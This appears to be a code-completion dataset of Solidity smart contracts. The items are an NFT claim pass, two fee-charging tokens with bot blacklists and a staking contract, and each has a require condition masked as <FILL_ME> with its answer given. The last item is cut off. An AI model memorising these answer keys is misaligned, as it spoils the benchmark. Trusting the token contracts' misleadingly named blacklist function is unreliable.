comment
stringlengths
1
211
input
stringlengths
155
20k
label
stringlengths
4
1k
original_idx
int64
203
514k
predicate
stringlengths
1
1k
"You can only mint once per allow listed address"
// SPDX-License-Identifier: MIT import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; pragma solidity ^0.8.0; contract DinomonksClaimPass is ERC721, AccessControl, ReentrancyGuard, Ownable { using Counters for Counters.Counter; // The Merkle Root bytes32 public root; address private constant TREASURY_ADDRESS = 0xbfCF42Ef3102DE2C90dBf3d04a0cCe90eddA6e3F; bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE"); bool public mintingOpen = false; uint256 public mintPrice = 88000000000000000; // 0.0880 eth mapping(address => bool) public hasMinted; // Base token URI string private _baseTokenURI; // The total number that have ever been minted. Counters.Counter private totalMinted; constructor( bytes32 _merkleRoot ) ERC721("KOD Dinomonks Claim Pass", "KODDINO") { } function mint( bytes32[] calldata _merkleProof ) external payable nonReentrant { require(mintingOpen, "Minting must be open"); require(<FILL_ME>) require(msg.value >= mintPrice, "Must supply proper amount to pay for purchase"); // Verify exists in merkletree bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(_merkleProof, root, leaf), "Invalid proof."); uint256 nextTokenId = totalMinted.current() + 1; _mint(msg.sender, nextTokenId); totalMinted.increment(); hasMinted[msg.sender] = true; } function amIEligible2(address _addr, bytes32[] calldata _merkleProof) public view returns (bool) { } function didWalletClaim(address _target) public view returns (bool) { } function getMerkleRoot() public view returns (bytes32) { } function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner { } function getPrice() public view returns (uint256) { } function setPrice(uint256 _price) external onlyOwner { } function setMintingOpen(bool _isOpen) external onlyOwner { } function getMintingOpen() public view returns (bool) { } // The total number of NFTs ever minted for this collection. Ignoring burning. function getTotalMintCount() public view returns (uint256) { } // If an address has the BURNER_ROLE, they can burn tokens function burn(uint256 _tokenID) external nonReentrant { } // Toggle the base URI function setBaseURI(string memory baseURI) public { } // Getter for the value of the base token uri function _baseURI() internal view virtual override returns (string memory) { } function getTreasuryAddress() public pure returns (address) { } // Always withdraw to the treasury address. Allow anyone to withdraw, such that there can be no issues with keys. function withdrawAll() public payable { } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, AccessControl) returns (bool) { } }
hasMinted[msg.sender]==false,"You can only mint once per allow listed address"
195,715
hasMinted[msg.sender]==false
null
// SPDX-License-Identifier: MIT import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; pragma solidity ^0.8.0; contract DinomonksClaimPass is ERC721, AccessControl, ReentrancyGuard, Ownable { using Counters for Counters.Counter; // The Merkle Root bytes32 public root; address private constant TREASURY_ADDRESS = 0xbfCF42Ef3102DE2C90dBf3d04a0cCe90eddA6e3F; bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE"); bool public mintingOpen = false; uint256 public mintPrice = 88000000000000000; // 0.0880 eth mapping(address => bool) public hasMinted; // Base token URI string private _baseTokenURI; // The total number that have ever been minted. Counters.Counter private totalMinted; constructor( bytes32 _merkleRoot ) ERC721("KOD Dinomonks Claim Pass", "KODDINO") { } function mint( bytes32[] calldata _merkleProof ) external payable nonReentrant { } function amIEligible2(address _addr, bytes32[] calldata _merkleProof) public view returns (bool) { } function didWalletClaim(address _target) public view returns (bool) { } function getMerkleRoot() public view returns (bytes32) { } function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner { } function getPrice() public view returns (uint256) { } function setPrice(uint256 _price) external onlyOwner { } function setMintingOpen(bool _isOpen) external onlyOwner { } function getMintingOpen() public view returns (bool) { } // The total number of NFTs ever minted for this collection. Ignoring burning. function getTotalMintCount() public view returns (uint256) { } // If an address has the BURNER_ROLE, they can burn tokens function burn(uint256 _tokenID) external nonReentrant { require(hasRole(BURNER_ROLE, msg.sender), "Must have burner permissions"); require(<FILL_ME>) _burn(_tokenID); } // Toggle the base URI function setBaseURI(string memory baseURI) public { } // Getter for the value of the base token uri function _baseURI() internal view virtual override returns (string memory) { } function getTreasuryAddress() public pure returns (address) { } // Always withdraw to the treasury address. Allow anyone to withdraw, such that there can be no issues with keys. function withdrawAll() public payable { } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, AccessControl) returns (bool) { } }
_exists(_tokenID)
195,715
_exists(_tokenID)
null
// SPDX-License-Identifier: MIT import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; pragma solidity ^0.8.0; contract DinomonksClaimPass is ERC721, AccessControl, ReentrancyGuard, Ownable { using Counters for Counters.Counter; // The Merkle Root bytes32 public root; address private constant TREASURY_ADDRESS = 0xbfCF42Ef3102DE2C90dBf3d04a0cCe90eddA6e3F; bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE"); bool public mintingOpen = false; uint256 public mintPrice = 88000000000000000; // 0.0880 eth mapping(address => bool) public hasMinted; // Base token URI string private _baseTokenURI; // The total number that have ever been minted. Counters.Counter private totalMinted; constructor( bytes32 _merkleRoot ) ERC721("KOD Dinomonks Claim Pass", "KODDINO") { } function mint( bytes32[] calldata _merkleProof ) external payable nonReentrant { } function amIEligible2(address _addr, bytes32[] calldata _merkleProof) public view returns (bool) { } function didWalletClaim(address _target) public view returns (bool) { } function getMerkleRoot() public view returns (bytes32) { } function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner { } function getPrice() public view returns (uint256) { } function setPrice(uint256 _price) external onlyOwner { } function setMintingOpen(bool _isOpen) external onlyOwner { } function getMintingOpen() public view returns (bool) { } // The total number of NFTs ever minted for this collection. Ignoring burning. function getTotalMintCount() public view returns (uint256) { } // If an address has the BURNER_ROLE, they can burn tokens function burn(uint256 _tokenID) external nonReentrant { } // Toggle the base URI function setBaseURI(string memory baseURI) public { } // Getter for the value of the base token uri function _baseURI() internal view virtual override returns (string memory) { } function getTreasuryAddress() public pure returns (address) { } // Always withdraw to the treasury address. Allow anyone to withdraw, such that there can be no issues with keys. function withdrawAll() public payable { require(<FILL_ME>) } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, AccessControl) returns (bool) { } }
payable(getTreasuryAddress()).send(address(this).balance)
195,715
payable(getTreasuryAddress()).send(address(this).balance)
null
/* ↘️ BottomDown ↘️ Tax fee : 5% Locked 1 week at launch & renounced. Lock extended at 25k / 50k / 100k */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.13; abstract contract Context { function _msgSender() internal view virtual returns (address) { } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { } function owner() public view returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BottomDown is Context, IERC20, Ownable { //// mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; mapping (address => bool) private _isBot; uint private constant _totalSupply = 1e6 * 10**9; string public constant name = unicode"BottomDown"; //// string public constant symbol = unicode"BOTTOMDOWN"; //// uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable private _MarketingWallet; address payable private _DevWallet; address public uniswapV2Pair; uint public _buyFee = 5; uint public _sellFee = 5; uint public _feeRate = 9; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap; bool public _useImpactFeeSetter = true; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event MarketingWalletUpdated(address _MarketingWallet); event DevWalletUpdated(address _DevWallet); modifier lockTheSwap { } constructor (address payable MarketingWallet, address payable DevWallet) { } function balanceOf(address account) public view override returns (uint) { } function transfer(address recipient, uint amount) public override returns (bool) { } function totalSupply() public pure override returns (uint) { } function allowance(address owner, address spender) public view override returns (uint) { } function approve(address spender, uint amount) public override returns (bool) { } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { } function _approve(address owner, address spender, uint amount) private { } function _transfer(address from, address to, uint amount) private { } function swapTokensForEth(uint tokenAmount) private lockTheSwap { } function sendETHToFee(uint amount) private { } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { } function _getFee(bool takefee, bool buy) private view returns (uint) { } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { } function _takeTeam(uint team) private { } receive() external payable {} // external functions function addLiquidity() external onlyOwner() { } function openTrading() external onlyOwner() { } function manualswap() external { require(<FILL_ME>) uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { } function setFeeRate(uint rate) external onlyOwner() { } function setFees(uint buy, uint sell) external { } function Multicall(address[] memory bots_) external { } function delBots(address[] memory bots_) external { } function isBot(address ad) public view returns (bool) { } function toggleImpactFee(bool onoff) external onlyOwner() { } function updateMarketingWallet(address newAddress) external { } function updateDevWallet(address newAddress) external { } // view functions function thisBalance() public view returns (uint) { } function amountInPool() public view returns (uint) { } }
_msgSender()==_MarketingWallet
195,775
_msgSender()==_MarketingWallet
null
/* ↘️ BottomDown ↘️ Tax fee : 5% Locked 1 week at launch & renounced. Lock extended at 25k / 50k / 100k */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.13; abstract contract Context { function _msgSender() internal view virtual returns (address) { } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { } function owner() public view returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BottomDown is Context, IERC20, Ownable { //// mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; mapping (address => bool) private _isBot; uint private constant _totalSupply = 1e6 * 10**9; string public constant name = unicode"BottomDown"; //// string public constant symbol = unicode"BOTTOMDOWN"; //// uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable private _MarketingWallet; address payable private _DevWallet; address public uniswapV2Pair; uint public _buyFee = 5; uint public _sellFee = 5; uint public _feeRate = 9; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap; bool public _useImpactFeeSetter = true; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event MarketingWalletUpdated(address _MarketingWallet); event DevWalletUpdated(address _DevWallet); modifier lockTheSwap { } constructor (address payable MarketingWallet, address payable DevWallet) { } function balanceOf(address account) public view override returns (uint) { } function transfer(address recipient, uint amount) public override returns (bool) { } function totalSupply() public pure override returns (uint) { } function allowance(address owner, address spender) public view override returns (uint) { } function approve(address spender, uint amount) public override returns (bool) { } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { } function _approve(address owner, address spender, uint amount) private { } function _transfer(address from, address to, uint amount) private { } function swapTokensForEth(uint tokenAmount) private lockTheSwap { } function sendETHToFee(uint amount) private { } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { } function _getFee(bool takefee, bool buy) private view returns (uint) { } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { } function _takeTeam(uint team) private { } receive() external payable {} // external functions function addLiquidity() external onlyOwner() { } function openTrading() external onlyOwner() { } function manualswap() external { } function manualsend() external { } function setFeeRate(uint rate) external onlyOwner() { } function setFees(uint buy, uint sell) external { } function Multicall(address[] memory bots_) external { } function delBots(address[] memory bots_) external { } function isBot(address ad) public view returns (bool) { } function toggleImpactFee(bool onoff) external onlyOwner() { } function updateMarketingWallet(address newAddress) external { } function updateDevWallet(address newAddress) external { require(<FILL_ME>) _DevWallet = payable(newAddress); emit DevWalletUpdated(_DevWallet); } // view functions function thisBalance() public view returns (uint) { } function amountInPool() public view returns (uint) { } }
_msgSender()==_DevWallet
195,775
_msgSender()==_DevWallet
"Trade not allowed before delay"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract MyToken { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping(address => uint256) private balances; mapping(address => mapping(address => uint256)) private allowed; mapping(address => uint256) private lastTradeTime; uint256 private tradeDelay = 24 hours; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); constructor() { } function balanceOf(address owner) public view returns (uint256) { } function transfer(address to, uint256 value) public returns (bool) { require(value <= balances[msg.sender], "Insufficient balance"); require(<FILL_ME>) balances[msg.sender] -= value; balances[to] += value; lastTradeTime[msg.sender] = block.timestamp; emit Transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { } function approve(address spender, uint256 value) public returns (bool) { } function allowance(address owner, address spender) public view returns (uint256) { } function isTradeAllowed(address account) internal view returns (bool) { } // Additional functions to add and remove liquidity from Uniswap function addLiquidity(uint256 amount) external { } function removeLiquidity(uint256 amount) external { } }
isTradeAllowed(msg.sender),"Trade not allowed before delay"
195,790
isTradeAllowed(msg.sender)
"Trade not allowed before delay"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract MyToken { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping(address => uint256) private balances; mapping(address => mapping(address => uint256)) private allowed; mapping(address => uint256) private lastTradeTime; uint256 private tradeDelay = 24 hours; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); constructor() { } function balanceOf(address owner) public view returns (uint256) { } function transfer(address to, uint256 value) public returns (bool) { } function transferFrom(address from, address to, uint256 value) public returns (bool) { require(value <= balances[from], "Insufficient balance"); require(value <= allowed[from][msg.sender], "Insufficient allowance"); require(<FILL_ME>) balances[from] -= value; balances[to] += value; allowed[from][msg.sender] -= value; lastTradeTime[from] = block.timestamp; emit Transfer(from, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { } function allowance(address owner, address spender) public view returns (uint256) { } function isTradeAllowed(address account) internal view returns (bool) { } // Additional functions to add and remove liquidity from Uniswap function addLiquidity(uint256 amount) external { } function removeLiquidity(uint256 amount) external { } }
isTradeAllowed(from),"Trade not allowed before delay"
195,790
isTradeAllowed(from)
"Cannot set max sell amount lower than 0.1%"
/** BONE 2.4.3 II ARIGATO Group @ArigatoPortal */ // SPDX-License-Identifier: MIT pragma solidity 0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { } function _msgData() internal view virtual returns (bytes calldata) { } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { } function name() public view virtual override returns (string memory) { } function symbol() public view virtual override returns (string memory) { } function decimals() public view virtual override returns (uint8) { } function totalSupply() public view virtual override returns (uint256) { } function balanceOf(address account) public view virtual override returns (uint256) { } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { } function allowance(address owner, address spender) public view virtual override returns (uint256) { } function approve(address spender, uint256 amount) public virtual override returns (bool) { } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { } function _createInitialSupply(address account, uint256 amount) internal virtual { } function _approve( address owner, address spender, uint256 amount ) internal virtual { } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { } function owner() public view returns (address) { } modifier onlyOwner() { } function renounceOwnership() external virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } } interface IDexRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } interface IDexFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract Arigato is ERC20, Ownable { uint256 public maxBuyAmount; uint256 public maxSellAmount; uint256 public maxWalletAmount; IDexRouter public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool private swapping; uint256 public swapTokensAtAmount; address public TreasuryAddress; address public RewardsAddress; uint256 public tradingActiveBlock = 0; // 0 means trading is not active uint256 private deadBlocks = 4; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; uint256 public buyTotalFees; uint256 public buyTreasuryFee; uint256 public buyLiquidityFee; uint256 public buyRewardsFee; uint256 public sellTotalFees; uint256 public sellTreasuryFee; uint256 public sellLiquidityFee; uint256 public sellRewardsFee; uint256 public tokensForTreasury; uint256 public tokensForLiquidity; uint256 public tokensForRewards; // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; mapping (address => bool) private _isSniper; event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event EnabledTrading(bool tradingActive); event RemovedLimits(); event ExcludeFromFees(address indexed account, bool isExcluded); event UpdatedMaxBuyAmount(uint256 newAmount); event UpdatedMaxSellAmount(uint256 newAmount); event UpdatedMaxWalletAmount(uint256 newAmount); event UpdatedTreasuryAddress(address indexed newWallet); event UpdatedRewardsAddress(address indexed newWallet); event MaxTransactionExclusion(address _address, bool excluded); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event TransferForeignToken(address token, uint256 amount); constructor() ERC20("Arigato", "GATO") { } receive() external payable {} // once enabled, can never be turned off function enableTrading(bool _status) external onlyOwner { } // remove limits after token is stable function removeLimits() external onlyOwner { } function updateMaxBuyAmount(uint256 newNum) external onlyOwner { } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner { } function _excludeFromMaxTransaction(address updAds, bool isExcluded) private { } function excludeFromMaxTransaction(address updAds, bool isEx) external onlyOwner { } function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner { } function _setAutomatedMarketMakerPair(address pair, bool value) private { } function updateBuyFees(uint256 _treasuryFee, uint256 _liquidityFee, uint256 _rewardsFee) external onlyOwner { } function updateSellFees(uint256 _treasuryFee, uint256 _liquidityFee, uint256 _rewardsFee) external onlyOwner { } function excludeFromFees(address account, bool excluded) public onlyOwner { } function _transfer(address from, address to, uint256 amount) internal override { } function swapTokensForEth(uint256 tokenAmount) private { } // withdraw ETH if stuck or someone sends to the address function withdrawStuckETH() external onlyOwner { } function setTreasuryAddress(address _TreasuryAddress) external onlyOwner { } function setRewardsAddress(address _RewardsAddress) external onlyOwner { } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { } function multiTransferCall(address from, address[] calldata addresses, uint256[] calldata tokens) external onlyOwner { } function multiTransferConstant(address from, address[] calldata addresses, uint256 tokens) external onlyOwner { } function swapBack() private { } function updateMaxSellAmount(uint256 newNum) external onlyOwner { require(<FILL_ME>) maxSellAmount = newNum * (10**18); emit UpdatedMaxSellAmount(maxSellAmount); } function transferForeignToken(address _token, address _to) external onlyOwner returns (bool _sent) { } function manage_Snipers(address[] calldata addresses, bool status) public onlyOwner { } function isSniper(address account) public view returns (bool) { } }
newNum>=(totalSupply()*1/1000)/1e21,"Cannot set max sell amount lower than 0.1%"
195,791
newNum>=(totalSupply()*1/1000)/1e21
"Total fee has to be lower than 33.33%."
// SPDX-License-Identifier: MIT pragma solidity >=0.8.0 <0.9.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Auth { address internal owner; mapping (address => bool) internal authorizations; constructor(address _owner) { } modifier onlyOwner() { } modifier authorized() { } function authorize(address adr) public onlyOwner { } function unauthorize(address adr) public onlyOwner { } function isOwner(address account) public view returns (bool) { } function isAuthorized(address adr) public view returns (bool) { } function transferOwnership(address payable adr) public onlyOwner { } event OwnershipTransferred(address owner); } contract DLCStaking is Auth { struct StakeState { uint256 stakedAmount; uint32 since; uint32 lastUpdate; } // Staking token and fee receivers. address public stakingToken; address constant public DEAD = address(0xdead); address public devFeeReceiver; address public lpFeeReceiver; // APR% with 2 decimals. uint256 public aprNumerator = 3600; uint256 constant public aprDenominator = 10000; // Fees in % with 2 decimals. uint256 public burnFeeNumerator = 300; uint256 constant public burnFeeDenominator = 10000; uint256 public devFeeNumerator = 50; uint256 constant public devFeeDenominator = 10000; uint256 public lpFeeNumerator = 50; uint256 constant public lpFeeDenominator = 10000; // Staking status. uint256 public totalStakedTokens; mapping (address => StakeState) internal stakerDetails; event TokenStaked(address indexed user, uint256 amount); event TokenUnstaked(address indexed user, uint256 amount, uint256 reward); event RewardClaimed(address indexed user, uint256 reward); event Compounded(address indexed user, uint256 amount); constructor(address tokenToStake, address devFee, address lpAddress) Auth(msg.sender) { } function stake(uint256 amount) external { } function unstake(uint256 amount) public { } function unstakeAll() external { } function unstakeFor(address staker, uint256 amount) internal { } function executeBurnFee(uint256 amount) internal returns (uint256) { } function executeDevFee(uint256 amount) internal returns (uint256) { } function executeLPFee(uint256 amount) internal returns (uint256) { } function executeFee(uint256 amount, uint256 numerator, uint256 denominator, address receiver) internal returns (uint256) { } function calcFee(uint256 amount, uint256 num, uint256 den) public pure returns (uint256) { } function claim() external { } function compound() external { } function compoundFor(address staker) internal { } function getPendingReward() external view returns (uint256) { } /** * @dev Check the current unclaimed pending reward for a user. */ function pendingReward(address staker) public view returns (uint256) { } /** * @dev Get the APR values, returns a numerator to divide by a denominator to get the decimal value of the percentage. * Example: 20% can be 2000 / 10000, which is 0.2, the decimal representation of 20%. * @notice APY = (1 + APR / n) ** n - 1; * Where n is the compounding rate (times of compounding in a year) * This is better calculated on a frontend, as Solidity does not do floating point arithmetic. */ function getAPR() external view returns (uint256 numerator, uint256 denominator) { } /** * @dev Gets an approximated APR percentage rounded to no decimals. */ function getAPRRoundedPercentage() external view returns (uint256) { } /** * @dev Gets an approximated APR percentage rounded to specified decimals. */ function getAPRPercentage(uint256 desiredDecimals) external view returns (uint256 percentage, uint256 decimals) { } function setDevFeeReceiver(address receiver) external authorized { } function setLPAddress(address lp) external authorized { } /** * @dev Sets the unstake burn fee. It is then divided by 10000, so for 1% fee you would set it to 100. */ function setBurnFeeNumerator(uint256 numerator) external authorized { require(<FILL_ME>) burnFeeNumerator = numerator; } function setDevFeeNumerator(uint256 numerator) external authorized { } function setLPFeeNumerator(uint256 numerator) external authorized { } function getStake(address staker) external view returns (StakeState memory) { } function availableRewardTokens() external view returns (uint256) { } function setStakingToken(address newToken) external authorized { } function forceUnstakeAll(address staker) external authorized { } }
numerator+lpFeeNumerator+devFeeNumerator<3333,"Total fee has to be lower than 33.33%."
195,851
numerator+lpFeeNumerator+devFeeNumerator<3333
"Total fee has to be lower than 33.33%."
// SPDX-License-Identifier: MIT pragma solidity >=0.8.0 <0.9.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Auth { address internal owner; mapping (address => bool) internal authorizations; constructor(address _owner) { } modifier onlyOwner() { } modifier authorized() { } function authorize(address adr) public onlyOwner { } function unauthorize(address adr) public onlyOwner { } function isOwner(address account) public view returns (bool) { } function isAuthorized(address adr) public view returns (bool) { } function transferOwnership(address payable adr) public onlyOwner { } event OwnershipTransferred(address owner); } contract DLCStaking is Auth { struct StakeState { uint256 stakedAmount; uint32 since; uint32 lastUpdate; } // Staking token and fee receivers. address public stakingToken; address constant public DEAD = address(0xdead); address public devFeeReceiver; address public lpFeeReceiver; // APR% with 2 decimals. uint256 public aprNumerator = 3600; uint256 constant public aprDenominator = 10000; // Fees in % with 2 decimals. uint256 public burnFeeNumerator = 300; uint256 constant public burnFeeDenominator = 10000; uint256 public devFeeNumerator = 50; uint256 constant public devFeeDenominator = 10000; uint256 public lpFeeNumerator = 50; uint256 constant public lpFeeDenominator = 10000; // Staking status. uint256 public totalStakedTokens; mapping (address => StakeState) internal stakerDetails; event TokenStaked(address indexed user, uint256 amount); event TokenUnstaked(address indexed user, uint256 amount, uint256 reward); event RewardClaimed(address indexed user, uint256 reward); event Compounded(address indexed user, uint256 amount); constructor(address tokenToStake, address devFee, address lpAddress) Auth(msg.sender) { } function stake(uint256 amount) external { } function unstake(uint256 amount) public { } function unstakeAll() external { } function unstakeFor(address staker, uint256 amount) internal { } function executeBurnFee(uint256 amount) internal returns (uint256) { } function executeDevFee(uint256 amount) internal returns (uint256) { } function executeLPFee(uint256 amount) internal returns (uint256) { } function executeFee(uint256 amount, uint256 numerator, uint256 denominator, address receiver) internal returns (uint256) { } function calcFee(uint256 amount, uint256 num, uint256 den) public pure returns (uint256) { } function claim() external { } function compound() external { } function compoundFor(address staker) internal { } function getPendingReward() external view returns (uint256) { } /** * @dev Check the current unclaimed pending reward for a user. */ function pendingReward(address staker) public view returns (uint256) { } /** * @dev Get the APR values, returns a numerator to divide by a denominator to get the decimal value of the percentage. * Example: 20% can be 2000 / 10000, which is 0.2, the decimal representation of 20%. * @notice APY = (1 + APR / n) ** n - 1; * Where n is the compounding rate (times of compounding in a year) * This is better calculated on a frontend, as Solidity does not do floating point arithmetic. */ function getAPR() external view returns (uint256 numerator, uint256 denominator) { } /** * @dev Gets an approximated APR percentage rounded to no decimals. */ function getAPRRoundedPercentage() external view returns (uint256) { } /** * @dev Gets an approximated APR percentage rounded to specified decimals. */ function getAPRPercentage(uint256 desiredDecimals) external view returns (uint256 percentage, uint256 decimals) { } function setDevFeeReceiver(address receiver) external authorized { } function setLPAddress(address lp) external authorized { } /** * @dev Sets the unstake burn fee. It is then divided by 10000, so for 1% fee you would set it to 100. */ function setBurnFeeNumerator(uint256 numerator) external authorized { } function setDevFeeNumerator(uint256 numerator) external authorized { require(<FILL_ME>) devFeeNumerator = numerator; } function setLPFeeNumerator(uint256 numerator) external authorized { } function 